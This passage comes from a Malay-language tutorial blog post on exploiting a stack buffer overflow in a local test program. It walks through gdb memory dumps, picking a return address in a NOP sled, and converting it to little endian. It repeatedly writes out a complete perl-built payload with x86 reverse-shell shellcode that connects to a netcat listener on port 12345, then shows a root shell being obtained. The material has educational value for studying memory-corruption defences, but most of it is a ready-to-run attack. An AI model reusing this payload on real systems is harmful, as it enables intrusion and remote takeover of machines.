    0xbffff4a0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff4a8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff4b0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff4b8: 0x41 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff4c0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff4c8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff4d0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff4d8: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff4e0: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    ---Type to continue, or q to quit---
    ...dipotong....

    Skroll sehingga anda nampak deretan 0x41 yang bermaksud "A" dan deretan "0x90" ataupun NOP. Sila pilih address pada NOP sebagai return address untuk shell anda. Sebagai contoh saya pilih 0xbffff4d8. Address anda kebarangkalian besar berbeza dengan address saya. Pilih mana2 address 0x90 selepas deretan 0x41. elakkan memilih address yg hujungnya 00. Yang tiada angka sifar lebih baik.

    Kita perlu tukar kepada format little endian utk membolehkan alamat ini diexecute oleh program.

    Contoh:

    0xbffff4d8

    tukar jadi

    bf ff f4 d8

    tukar jadi

    d8 f4 ff bf

    \xd8\xf4\xff\xbf


    Sekarang kita gantikan "BBBB" dengan "\xd8\xf4\xff\xbf" atau address anda.

    Di gdb, masa untuk mengeksploitasi

    arahan ini

    (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

    Kita tukar jadi

    (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`


    Sekiranya tiada masalah

    (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`
    The program being debugged has been started already.
    Start it from the beginning? (y or n) y

    Starting program: /home/saifool/Desktop/mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`
    process 3371 is executing new program: /bin/dash

    Sila lihat netcat anda, contoh output

    ak47suk1@ak47suk1-laptop:~/Desktop$ nc -l 12345 -vv
    Connection from 192.168.1.5 port 12345 [tcp/*] accepted

    Voila! anda sudah dapat shell. Sekarang mari kita cuba guna arahan linux ini


    echo "ID mangsa:";whoami;echo "ID penuh:";id;echo "Folder sekarang:"; pwd;echo "Kernel Linux:"; uname -a;echo "Maklumat Distro:"; lsb_release -a;exit

    Contoh output:

    ID mangsa:
    saifool
    ID penuh:
    uid=1000(saifool) gid=1000(saifool) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(saifool)
    Folder sekarang:
    /home/saifool/Desktop
    Kernel Linux:
    Linux saifool-laptop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
    Maklumat Distro:
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description: Ubuntu 10.04 LTS
    Release: 10.04
    Codename: lucid

    Sekarang kita cuba eksploitasi tanpa gdb dengan melaksanakan program mangkuk dengan akses root :D


    (gdb) q

    saifool@saifool-laptop:~/Desktop$ sudo su
    root@saifool-laptop:/home/saifool/Desktop# ./mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\xd8\xf4\xff\xbf"'`
    Segmentation fault
    root@saifool-laptop:/home/saifool/Desktop#


    Oppps, error. Kenapa ye? Sebab return address bertukar. Sekarang kita ulangkaji balik untuk mencari return address untuk root

    sebagai root, di terminal taip


    gdb mangkuk

    (gdb) run `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","BBBB"'`

    Program received signal SIGSEGV, Segmentation fault.
    0x42424242 in ?? ()

    (gdb) x/2000xb $esp

    ...dipotong....

    ---Type to continue, or q to quit---
    0xbffff6c0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6c8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6d0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6d8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6e0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6e8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6f0: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff6f8: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff700: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff708: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff710: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff718: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff720: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff728: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff730: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff738: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff740: 0x41 0x41 0x41 0x41 0x41 0x41 0x41 0x41
    0xbffff748: 0x41 0x41 0x41 0x41 0x90 0x90 0x90 0x90
    0xbffff750: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff758: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff760: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff768: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff770: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff778: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    0xbffff780: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90
    ... dipotong ....

    Anda perasan kan address berbeza dari user biasa. Sekarang saya pilih 0xbffff768. Dalam little endian menjadi \x68\xf7\xff\xbf.

    Sekarang kita dah jumpa address untuk root.

    (gdb) q

    untuk keluar dari gdb

    Oh ya, Jangan lupa untuk listen netcat di host anda dengan arahan "nc -l 12345 -vv" terlebih dahulu.

    di terminal taip

    ./mangkuk `perl -e 'print "A"x600,"\x90"x340,"\x1e\x57\x5a\x56\x46\x5a\x4c\x4d\x37\x37\x5b\x51\x4a\x44\x52\x1e\xfc\x58\x51\x3f\xf5\x53\xf5\xf5\xf9\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x68\xc0\xa8\x01\x02\x66\x68\x30\x39\x66\x53\x6a\x10\x51\x50\x89\xe1\x43\x6a\x66\x58\xcd\x80\x59\x87\xd9\xb0\x3f\xcd\x80\x49\x79\xf9\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80","\x68\xf7\xff\xbf"'`

    Sekarang lihat di netcat anda di host, cuba laksanakan arahan untuk user biasa tadi :)

    ak47suk1@ak47suk1-laptop:~/Desktop$ nc -l 12345 -vv
    Connection from 192.168.1.5 port 12345 [tcp/*] accepted
    echo "ID mangsa:";whoami;echo "ID penuh:";id;echo "Folder sekarang:"; pwd;echo "Kernel Linux:"; uname -a;echo "Maklumat Distro:"; lsb_release -a
    ID mangsa:
    root
    ID penuh:
    uid=0(root) gid=0(root) groups=0(root)
    Folder sekarang:
    /home/saifool/Desktop
    Kernel Linux:
    Linux saifool-laptop 2.6.32-21-generic #32-Ubuntu SMP Fri Apr 16 08:10:02 UTC 2010 i686 GNU/Linux
    Maklumat Distro:
    No LSB modules are available.
    Distributor ID: Ubuntu
    Description: Ubuntu 10.04 LTS
    Release: 10.04
    Codename: lucid


    Sekian, Terima Kasih. Sekiranya anda ada kemusykilan, silakan bertanya dengan memberikan komentar. Elakkan bahasa singkatan yang keterlaluan untuk memudahkan kefahaman saya. Terima kasih. Jangan lupa untuk membaca rujukan yang disertakan sekali di bawah.

    Rujukan dan Bacaan Tambahan



    http://www.packetstormsecurity.org/papers/attack/Preddy-tutorial.txt [Accessed June 26,2010]

    Foster, J.C., 2005. Buffer overflow attacks: detect, exploit, prevent, Syngress Media Inc.

    https://secure.wikimedia.org/wikipedia/en/wiki/Buffer_overflow [Accessed June 26,2010]

    OWASP_Top_10_2007.pdf. Available at: http://www.owasp.org/images/e/e8/OWASP_Top_10_2007.pdf [Accessed April 16, 2010].

    Balaban, &., Buffer Overflows Demystified, Enderunix.org. Available at: http://www.securityforest.com/downloads/educationtree/bof-eng.txt [Accessed June 26, 2010].

    Klein, &., 2004. Buffer Overflow, Available at: http://c0re.23.nu/~chris/presentations/overflow2005.pdf [Accessed June 26, 2010].

    carian google

    Custom Search